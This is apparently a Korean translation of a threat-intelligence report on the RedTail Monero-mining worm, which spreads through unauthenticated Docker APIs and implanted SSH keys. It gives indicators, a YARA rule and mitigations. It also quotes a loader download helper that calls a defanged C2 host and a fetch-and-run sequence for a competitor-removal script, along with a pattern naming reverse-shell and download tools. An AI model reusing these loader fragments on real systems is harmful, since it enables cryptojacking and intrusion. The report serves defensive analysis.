이 페이지는 번역본입니다. 공식 원문은 영어판입니다. 영어로 읽기

malware · cryptomining · redtail · docker · linux · honeypot · worm

RedTail 캠페인 내부: 노출된 Docker API를 통한 자가 전파

Kinryū Labs 허니팟이 인증 없는 Docker Engine API와 투입된 SSH 키를 통해 확산되는 RedTail 크립토마이너를 포착하였다. 본 보고서는 로더, 경쟁자 제거 스크립트, 마이너, 실시간 지표까지 모두 확보한 현재 진행형 사례를 기록한다.

작성자 Davis Zheng·

TLP:CLEAR. 공개 배포 승인됨. Kinryū Labs 허니팟 센서 네트워크가 수집하였다. 아래 지표는 디팽 처리되어 있다.

요약

  • 2375노출된 Docker API, 침투 경로
  • 4표적이 된 CPU 아키텍처
  • ~21s공격자의 전체 침투 소요 시간
  • 웜형 확산마이너에 내장된 SSH 클라이언트

2026년 6월 초에서 중순 사이 당사 허니팟 네트워크는 TCP/2375에 인터넷으로 노출된 Docker Engine API를 통해 확산되며, 2023년 말부터 존재해 온 XMRig 기반 Monero 마이너 RedTail을 투입하는 웜을 포착하였다. 공격자는 개방된 Docker API로 실행 중인 컨테이너 목록을 조회하고, 각 컨테이너 내부에서 명령을 실행하며, 지속성과 측면 이동을 위해 SSH 개인 키를 투입한 뒤 멀티 아키텍처 로더를 내려받는다. 로더는 확산용 SSH 클라이언트와 신규 표적 탐색용 libpcap 스니퍼를 자체 탑재한 마이너를 설치한다.

페이로드는 명백히 RedTail이다. RedTail은 웹 애플리케이션 익스플로잇(PAN-OS, Ivanti, Log4Shell, PHP-CGI, TP-Link)을 통한 유입으로 가장 잘 알려져 있으며, 노출된 Docker API를 이용하는 방식에도 선행 보고가 존재한다. 본 보고서는 그 Docker API 전달 방식의 현재 진행형 사례를 완전히 확보하여 추가한다. 수집 시점의 실시간 C2와 지표, 감염된 호스트가 스스로 복제하도록 만드는 SSH 키 투입, 그리고 이전 보고들이 지목만 하고 확보하지는 못했던 경쟁자 제거 스크립트가 여기에 해당한다.

마이너는 암호화된 런타임 설정을 지니며 지갑 주소를 내장하지 않으므로, 샘플에서 Monero 주소를 추출할 수 없다. 이를 복원하려면 네트워크 캡처를 동반한 실제 실행이 필요하다.

주요 발견
  • 페이로드는 RedTail이다(높은 신뢰도). libredtail evbuffer_tls 문자열, .redtail 아티팩트, 로더의 redtail 폴백, 암호화 설정 / 지갑 미내장 빌드가 모두 이 패밀리의 2024년 이후 버전과 일치한다.
  • 본 캠페인은 웜형 확산이 가능하다(높은 신뢰도). Docker API 도구 활용, 투입된 키, 마이너에 내장된 SSH 클라이언트는 갓 감염된 호스트가 스스로 다음 피해자를 찾아 나서는 데 필요한 모든 요소이다.
  • 운영자의 목적은 금전이다(중간 신뢰도). 자격증명 탈취와 스니핑은 별도의 데이터 절취 목적이라기보다 확산에 기여하는 것으로 보인다.
  • Docker API 벡터는 RedTail과 관련한 선행 보고가 존재하며 여전히 잘 통한다. TCP/2375에 노출된 소켓 하나면 공격자는 해당 호스트의 모든 컨테이너 내부에서 root 권한으로 코드를 실행할 수 있다.

공격 체인

[0] Reconnaissance     Internet scan for exposed Docker API :2375
        │
[1] Initial Access     Unauthenticated Docker API → enumerate containers
        │              (T1190 Exploit Public-Facing Application)
        │
[2] Execution          docker exec into every running container
        │              (T1609 Container Administration Command)
        │
[3] Persistence /      Drop ed25519 key "dlr@sftp" into container ~/.ssh
    Lateral prep       (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
        │
[4] Ingress (Stage 2)  Pull loader:  scp dlr@217.60.195[.]113:sh   (primary)
        │                            hxxps://14.46.136[.]77/sh      (fallback)
        │              (T1105 Ingress Tool Transfer)
        │
[5] Defense Evasion    Loader: find noexec mounts → avoid them; hidden ".<random>"
        │              filename; run/discard "clean" competitor-removal
        │
[6] Ingress (Stage 3)  Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2
        │
[7] Execution          memfd_create → fileless launch of RedTail miner
        │              (T1620 Reflective Code Loading)
        │
[8] Impact             XMRig Monero mining (T1496 Resource Hijacking)
   + Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
   + Lateral Movement  Embedded SSH client spreads to discovered hosts (T1021.004)

1단계: Docker API를 통한 초기 침투

공격자는 TCP/2375에 인증 없는 REST API를 노출하는 Docker Engine 인스턴스를 노린다. 공격자의 전체 시퀀스는 약 21초가 소요되었다.

  1. GET /version과 GET /containers/json으로 엔진을 핑거프린팅하고 컨테이너 목록을 확보한다.
  2. 실행 중인 모든 컨테이너를 대상으로 POST /containers/{id}/exec에 이어 POST /exec/{id}/start를 호출한다.
  3. 공격자의 SSH 키를 기록하고 로더를 내려받는 컨테이너 내부 셸 페이로드를 실행한다.

이 마지막 단계가 일회성 마이너를 웜으로 바꾸는 지점이다. 감염된 호스트가 자신의 Docker API를 노출하고 있다면, 동일한 목록 조회 및 exec 루틴을 다음 피해자 집합을 상대로 실행하게 된다.

투입된 SSH 키(지속성 및 측면 이동)

속성값
유형OpenSSH ed25519 개인 키
주석dlr@sftp
공개키 SHA256 지문SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg
수신 출처(SCP 채널)dlr@217.60.195[.]113

개인 키는 공개하지 않는다. 위 지문을 이용하여 추적하고, 관리 대상 전체에서 authorized_keys와 ~/.ssh를 점검한다.

2단계: /sh 로더

SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf MD5: 0df4fe0f1e3e8b0941f0d1442f132700 유형: POSIX 셸 스크립트

작고 이식성이 높은 로더이며, 동시에 신중한 로더이다.

무작위 은닉 파일명. get_random_string()은 4자에서 35자 길이의 영숫자 이름을 조합하며, /dev/urandom, openssl, $RANDOM 순으로 시도하고 모두 실패하면 리터럴 문자열 redtail로 대체한다. 이 폴백은 유용한 패밀리 식별 단서이다. 마이너는 평범한 ls에 드러나지 않도록 앞에 점을 붙인 .<random> 형태로 저장된다. VirusTotal에는 이 샘플이 그러한 이름 중 하나인 .mn6VTucEsFZY1PdSC2QAq로 등록되어 있다.

다운로드 헬퍼. dlr()은 C2가 자체 서명 인증서를 사용하므로 TLS 검증을 비활성화하고, wget이 실패하면 curl로 대체한다:

dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
        || curl -skO hxxps://14.46.136[.]77/$1 ; }

noexec를 고려한 스테이징. 로더는 /proc/mounts를 읽어 모든 noexec 마운트를 배제한 뒤, find / -user $(whoami) -perm -u=rwx를 실행하여 쓰기와 실행이 모두 가능한 위치를 찾는다. 사용하기 전에 각 후보를 2 MB 크기의 dd 또는 truncate로 쓰기 테스트하는데, 이는 대다수 로더가 감수하지 않는 수고이다. 통상적인 방식은 /tmp에 쓰고 잘되기를 바라는 것이다.

경쟁자 정리. clean을 내려받아 실행한 뒤(dlr clean; chmod +x clean; sh clean; rm -rf clean) 삭제한다. 해당 스크립트도 확보하였으며 아래에서 분석한다. 실행 중인 프로세스는 건드리지 않고 경쟁 악성코드의 지속성과 스테이징을 노린다.

뒷정리. 새 파일을 설치하기 전에 .redtail과 이전 .<random> 파일을 제거한다.

아키텍처 선택. uname -mp 분기가 빌드를 결정한다:

ARCH 일치다운로드 대상
x86_64 / amd64x86_64
i[3456]86i686
armv8 / aarch64aarch64
armv7arm7
알 수 없음네 가지를 모두 시도하여 각각 실행

실행. ./.<random> $1로 로더의 원래 $1을 그대로 전달하며, RedTail은 이를 캠페인 또는 벡터 태그로 취급한다.

clean 경쟁자 제거 스크립트

SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e MD5: 397ff5e54194072e6d8a44a0d8cc1b27 유형: Bash 스크립트(795 bytes)

허니팟에 대한 후속 공격에서 clean을 확보하였다. 이 스크립트의 유일한 임무는 RedTail이 해당 장비를 독점하도록 다른 악성코드를 제거하는 것이다:

  • cron 정리. 모든 사용자 crontab(/var/spool/cron/crontabs/*), 시스템 crontab(/etc/crontab, /etc/crontabs), 드롭인 디렉터리(/etc/cron.{hourly,daily,weekly,monthly,d}), /etc/anacrontab에 대하여 chattr -ia로 불변 비트를 해제한 뒤(경쟁 악성코드가 자신의 cron 항목을 보호하려고 설정해 둔다) 재감염 패턴에 일치하는 모든 줄을 삭제한다:

    wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -d

    이는 정상 cron 항목은 그대로 두면서 다른 조직의 다운로드 크래들과 리버스 셸을 걷어낸다.

  • 지목된 경쟁자 제거. c3pool_miner systemd 서비스를 비활성화하고 중지하는데, 이는 c3pool 마이너를 직접 겨냥한 조치이다.

  • 스테이징 삭제. rm -rf로 /tmp, /var/tmp, /dev/shm을 비워 경쟁자 페이로드와 이들이 공유하는 작업 공간을 정리한다.

실행 중인 프로세스를 건드리지 않는 것은 일종의 절충이다. 대량 종료는 CPU를 즉시 확보해 주지만 모니터링되는 호스트가 경보를 발생시키기 딱 좋은 이벤트인 반면, cron 항목을 제거하고 스테이징 디렉터리를 비우면 경쟁자의 재감염 크래들이 삭제되므로 그렇지 않았다면 축출을 되돌렸을 재부팅 이후에도 효과가 유지된다.

3단계: RedTail 마이너(x86_64)

SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 MD5: aaa5098c9caafccf15362b017825c64b 크기: 1,880,264 bytes (1.79 MB) 형식: ELF 64-bit LSB EXEC(정적 링크, non-PIE), x86-64, 진입점 0xaa9e18 패커: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team) VirusTotal: 36/62 악성, 커뮤니티 점수 −60, 최초 관측 ~2026-06-05 위협 라벨: trojan.usblem26/abminer; 패밀리 usblem26 / abminer / gen3

패킹 및 분석 방해

  • 헤더가 온전한 UPX 5.02. upx -d로 약 5 MB의 정적 링크 ELF로 깔끔하게 해제된다.
  • 무파일 실행. VirusTotal의 코드 인사이트에 따르면 memfd_create(시스템 콜 0x13f)를 사용해 익명 메모리 파일 디스크립터에서 곧바로 페이로드를 실행하며, /proc/self/exe 재실행과 /dev/shm 스테이징을 병행한다. 디스크에는 아무것도 남지 않으므로 디스크 기반 백신은 볼 기회를 얻지 못한다.
  • 프로세스 이름 위장(sets-process-name)으로 정상 프로세스에 섞여 든다.
  • 디버거 회피(detect-debug-environment). 공개된 RedTail 보고들은 ptrace 자가 디버깅과 바이너리가 GDB를 능동적으로 종료시키는 동작을 기술한다.
  • 호스트 백신에 관한 참고. Microsoft Defender는 패킹된 ELF를 Trojan:Linux/Multiverze!rfn으로 탐지하고 디스크에서 읽는 것 자체를 차단하므로, 정적 트리아지는 격리된 장비나 메모리 상에서 수행해야 한다.

확인된 구성 요소(해제된 .rodata 문자열 기준)

XMRig 채굴 코어

randomx/0   cryptonight-monerov7   cryptonight-monerov8
XMRIG_VERSION  donate-level  donate-over-proxy  pool address
stratum+tcp://   stratum+ssl://
/var/build/xmrig/scripts/build/   (hwloc-2.12.2, abseil-cpp)

libredtail, 패밀리를 규정하는 네트워킹 스택

libredtail evbuffer_tls
Connection  keepalive  User-Agent

커스텀 libevent에 TLS HTTP 클라이언트를 얹은 구조이다. libredtail evbuffer_tls 문자열이 RedTail을 기본 XMRig 빌드와 구분 짓는 요소이다.

내장 SSH 클라이언트(측면 이동 및 자격증명 탈취)

ssh-userauth   ssh-ed25519   sk-ssh-ed25519@openssh.com
ssh-rsa-cert-v01@openssh.com   ssh-ed25519-cert-v01@openssh.com
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"

마이너는 완전한 SSH 클라이언트를 탑재한다. 이것이 dlr@sftp 키 투입과 확산을 구동하는 엔진이다. 자격증명 탈취와 SSH 전파는 마이너 바이너리가 직접 처리하며, 드로퍼에는 해당 기능이 전혀 존재하지 않는다.

내장 libpcap(네트워크 스니핑)

"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"

호스트 상의 패킷 캡처로, 호스트와 자격증명의 로컬 탐색과 부합한다.

인코딩 테이블. 표준 Base64 알파벳과 URL 안전 Base64 알파벳이 모두 등장하며(...+/ 및 ...-_), 설정 디코딩 루틴에서 사용된다.

설정과 귀속의 공백

해제된 바이너리에서 IP, URL, stratum, pool, Monero 주소 패턴을 집중적으로 탐색하였다. 발견된 풀은 XMRig에 기본 내장된 개발자 기부 풀(donate.ssl.xmrig.com, donate.v2.xmrig.com)뿐이며, 이는 모든 XMRig 빌드가 포함하는 것으로 운영자가 통제하지 않는다. 공격자의 풀, 프록시, 지갑은 평문으로 존재하지 않는다.

이는 의도된 것이며, 2024년 이후 RedTail이 향해 온 방향과 일치한다. 채굴 설정은 암호화되어 런타임에 메모리에서만 복호화되고, 최근 빌드는 지갑을 아예 포함하지 않아 프라이빗 풀 또는 풀 프록시 사용을 시사한다. 따라서:

  • 본 샘플에서 Monero 지갑을 확보할 수 없다.
  • 풀 프록시는 네트워크 싱크를 갖춘 실제 실행을 통해서만 드러난다(방법론 참조).

귀속

이것은 RedTail이며, .redtail 마이너로도 불리는 XMRig 파생 Monero 마이너로 2023년 말에서 2024년 초 무렵 처음 보고되었다. 일치하는 요소는 다음과 같다:

  • 이 패밀리에만 고유한 libredtail evbuffer_tls 문자열.
  • .redtail 아티팩트와 로더의 redtail 폴백.
  • 암호화 설정 / 지갑 미내장 빌드, 멀티 아키텍처 로더, clean 경쟁자 스크립트, SSH 자격증명 탈취로, 모두 알려진 RedTail 특성이다.

비교를 위해 덧붙이면, 이 패밀리에 대해 이미 기록된 전달 벡터는 CVE-2024-3400(PAN-OS), CVE-2023-46805 및 CVE-2024-21887(Ivanti), CVE-2021-44228(Log4Shell), CVE-2024-4577(PHP-CGI), CVE-2023-1389(TP-Link)이다. VirusTotal은 본 샘플에 CVE-2021-41773(Apache 2.4.49/2.4.50 경로 탐색을 통한 RCE)과 CVE-2015-2808(RC4, “Bar Mitzvah”)도 함께 태그한다.

RedTail의 노출된 Docker API 이용은 선행 보고가 존재하므로 벡터 자체는 새롭지 않다. 그 선행 보고에서 빈약했던 부분은 체인의 중간이며, 이번 캡처가 자리하는 지점이 바로 거기이다. 추론이 아니라 실제로 확보한 clean 스크립트, 수집 시점에 살아 있던 C2와 페이로드 해시, 그리고 1단계로 고리를 되돌려 닫는 dlr@sftp 키 투입이 그것이다.

전망

크립토재킹 조직은 페이로드보다 침투 방식을 훨씬 자주 바꾸며, RedTail의 모듈식 로더는 진입 방식을 서로 교체하기 쉽게 만든다. 개방된 Docker API는 값싼 교체 대상이다. 유지해야 할 익스플로잇도, 경쟁해야 할 패치 주기도 없고, 그것이 부여하는 접근 권한은 해당 장비의 모든 컨테이너 내부 root이며, 인터넷에 노출된 2375의 공급은 마르지 않았다. RedTail은 이미 이 벡터를 사용한 전력이 있다.

운영자가 웹 익스플로잇을 Docker API 벡터로 교체하기보다 둘을 병행할 가능성이 높다고 판단하며, 그렇게 하면 도달 가능한 호스트만 늘어난다. 컨테이너를 운영한다면 노출된 Docker API를 공개 인터넷에 놓인 것처럼 취급해야 한다. 실질적으로 그러하기 때문이다.

침해 지표

네트워크

지표설명
14.46.136[.]77C2 / 페이로드 호스트(HTTPS, 자체 서명). /sh, /clean, /x86_64, /i686, /aarch64, /arm7을 제공. 클라우드 이그레스를 ASN 기준으로 필터링.
hxxps://14.46.136[.]77/sh2단계 로더 URL
hxxps://14.46.136[.]77/clean경쟁자 제거 스크립트(cron / 스테이징 삭제)
217.60.195[.]113SCP 키 / 페이로드 출처(dlr@217.60.195[.]113)

파일(SHA256 / MD5)

파일SHA256MD5
sh(로더)03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf0df4fe0f1e3e8b0941f0d1442f132700
clean(경쟁자 제거)d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e397ff5e54194072e6d8a44a0d8cc1b27
x86_64(마이너)59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5aaa5098c9caafccf15362b017825c64b

호스트 아티팩트

지표설명
.redtail마이너 아티팩트 / 기존 감염 표식
.<random alnum> 예: .mn6VTucEsFZY1PdSC2QAq은닉 마이너 파일명(선행 점 + 무작위)
SSH 키 주석 dlr@sftp투입된 키
공개키 FP SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg투입된 키의 지문; authorized_keys에서 추적
/dev/shm, /var/tmp, /tmp 또는 사용자 쓰기 가능한 rwx 디렉터리에 스테이징된 파일스테이징 위치

행위

  • 익명 파일 디스크립터에서 ELF를 실행하는 memfd_create(시스템 콜 0x13f).
  • /proc/mounts를 읽은 뒤 find / -perm -u=rwx를 실행하는 프로세스(noexec를 고려한 스테이징).
  • 프로세스 이름 위장; ptrace 기반 디버거 회피.
  • 비표준 호스트로 향하는 아웃바운드 stratum+tcp:// / stratum+ssl://.
  • systemctl disable c3pool_miner 및 systemctl stop c3pool_miner(경쟁자 축출).
  • crontab 경로에 대한 chattr -ia 직후 cron에서 wget / curl / 리버스 셸 줄을 대량 삭제.
  • /tmp/*, /var/tmp/*, /dev/shm/*에 대한 rm -rf(경쟁자 스테이징 삭제).

탐지

호스트 탐지(프로세스 / EDR 로직)

다음을 순차적으로 수행하는 프로세스에 경보를 설정한다:

  1. /proc/mounts를 읽은 뒤 find / ... -perm -u=rwx ...를 실행하고,
  2. 누구나 쓸 수 있는 디렉터리에 선행 점이 붙은 무작위 이름의 파일을 기록하며,
  3. memfd_create를 호출한 뒤 그 결과 파일 디스크립터에서 실행한다.

각 항목은 단독으로는 신호가 약하다. 세 가지가 함께 나타나면 이 로더에 대한 강한 신호이다.

YARA 후보 규칙(해제된 바이너리)

rule RedTail_Miner_libredtail
{
    meta:
        description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
        reference   = "Kinryu Labs CTI 2026-06-12"
        hash        = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
    strings:
        $rt  = "libredtail evbuffer_tls" ascii
        $xm1 = "randomx/0" ascii
        $xm2 = "stratum+ssl://" ascii
        $ssh = "ssh-ed25519-cert-v01@openssh.com" ascii
    condition:
        uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}

이 규칙은 UPX로 해제된 바이너리에 일치한다. 패킹된 샘플에 대해서는 UPX 시그니처, 파일 크기(~1.79 MB), 위 VirusTotal 해시를 기준으로 피벗한다.

네트워크 탐지

  • 14.46.136[.]77 및 217.60.195[.]113으로 향하는 아웃바운드 트래픽을 차단하고 경보한다.
  • 허용 목록에 없는 목적지로 향하는 stratum+tcp / stratum+ssl에 경보한다.
  • 한 글자 경로 또는 아키텍처 이름 경로(/sh, /x86_64, /aarch64, /arm7)에 대한 HTTP(S) GET에 경보한다.

완화

  1. Docker API(2375/2376)를 신뢰할 수 없는 네트워크에 노출하지 않는다. localhost 또는 보호된 소켓에 바인딩하고 TLS 클라이언트 인증서 인증을 요구한다. 이 통제 하나로 초기 침투 단계가 곧바로 차단된다.
  2. 관리 대상 전체에서 ~/.ssh/authorized_keys를 감사하여 dlr@sftp 키와 그 지문을 확인한다.
  3. 이그레스 필터링을 적용하고 stratum 트래픽 및 위 C2 IP를 모니터링한다.
  4. 가능한 곳에서는 /tmp, /var/tmp, /dev/shm을 noexec로 마운트한다. 난이도를 높여 주기는 하지만, 이 로더는 noexec를 인지하고 쓰기와 실행이 가능한 다른 디렉터리를 찾아 나선다.
  5. 컨테이너를 강화한다. 불필요한 capability를 제거하고, 읽기 전용 루트 파일시스템을 사용하며, 최소 권한으로 실행하여 exec로 진입하더라도 공격자가 쓸 만한 실행 환경을 얻지 못하도록 한다.

MITRE ATT&CK 매핑

전술기법
초기 침투T1190 공개 애플리케이션 악용(Docker API)
실행T1609 컨테이너 관리 명령; T1059.004 Unix 셸
지속성T1098.004 SSH 인가 키
방어 회피T1027.002 소프트웨어 패킹(UPX); T1620 리플렉티브 / 메모리 코드 로딩(memfd_create); T1564.001 숨김 파일; T1036.004 작업 또는 프로세스 이름 위장; T1622 디버거 회피; T1070.004 파일 삭제
자격증명 접근T1552.004 개인 키; T1040 네트워크 스니핑
탐색T1046 네트워크 서비스 스캐닝; T1082 시스템 정보 탐색; T1057 프로세스 탐색; T1018 원격 시스템 탐색
측면 이동T1021.004 원격 서비스: SSH; T1570 측면 도구 전송
명령 및 제어T1071.001 웹 프로토콜; T1573 암호화 채널; T1105 도구 반입
영향T1496 자원 하이재킹(크립토마이닝)

방법론 및 분석가 노트

  • 2단계와 3단계는 HTTPS로 살아 있는 C2에서 직접 내려받았다. 14.46.136[.]77은 주요 클라우드 사업자 주소 대역에 대해서는 타임아웃되지만 가정용 대역에는 응답하는데, 이는 자동화된 클라우드 샌드박스를 무력화하는 ASN 또는 지리 기반 이그레스 필터이다.
  • 패킹된 ELF는 Microsoft Defender를 발동시키며(Trojan:Linux/Multiverze!rfn), 보호된 Windows 호스트에서는 디스크에서 읽는 것조차 불가능하다. 따라서 최초 트리아지는 메모리 상에서 수행하여, 원본 ELF를 한 번도 기록하지 않은 채 Python 프로세스 내부에서 아카이브를 해제하였다.
  • 언패킹은 격리된 FLARE-VM에서 upx -d로 수행하였다. 해제된 바이너리는 실행하지 않고 문자열과 구조 분석을 통해 정적으로 분석하였다.
  • 마이너를 실행하지 않았으므로, 런타임에 복호화되는 풀 프록시와 Monero 설정은 본 보고서에 포함되어 있지 않다.
  • 공격자의 개인 키를 캡처에서 복원하였으나 공개하지 않는다. 지표에는 공개키 지문(위)만 포함하였으며, 이는 방어자가 authorized_keys에 투입된 dlr@sftp 키를 추적하는 데 필요한 정보이다.

권장 후속 작업(풀 프록시 지표 확보)

풀 프록시를 확보하려면 격리된 Linux 장비(REMnux로 충분하다)에서 다음을 갖추고 해제된 바이너리를 실행한다:

  • 연결을 유도할 네트워크 싱크(INetSim 또는 fakedns와 TCP 캐치올 조합),
  • stratum CONNECT와 로그인을 포착할 tcpdump -i any -w redtail.pcap,
  • 마이너가 첫 connect() 직전에 복호화하는 평문 설정을 확보할 strace -f. TLS가 회선 상에서 이를 가릴 때에도 읽히는 경우가 많다.

해당 호스트와 포트가 이번 캠페인에서 아직 확보되지 않은 마지막 지표이다.

샘플

샘플(로더, clean 스크립트, 패킹된 마이너)은 요청 시 다른 연구자 및 방어자에게 제공한다. contact@kinryu.sh로 본인 소개와 사용 목적을 간단히 적어 보내기 바란다.

Sample
RedTail · 59c29436755b0778…
How to cite
Kinryū Labs (2026). RedTail 캠페인 내부: 노출된 Docker API를 통한 자가 전파. https://kinryu.sh/ko/reports/redtail-cryptominer-exposed-docker-api/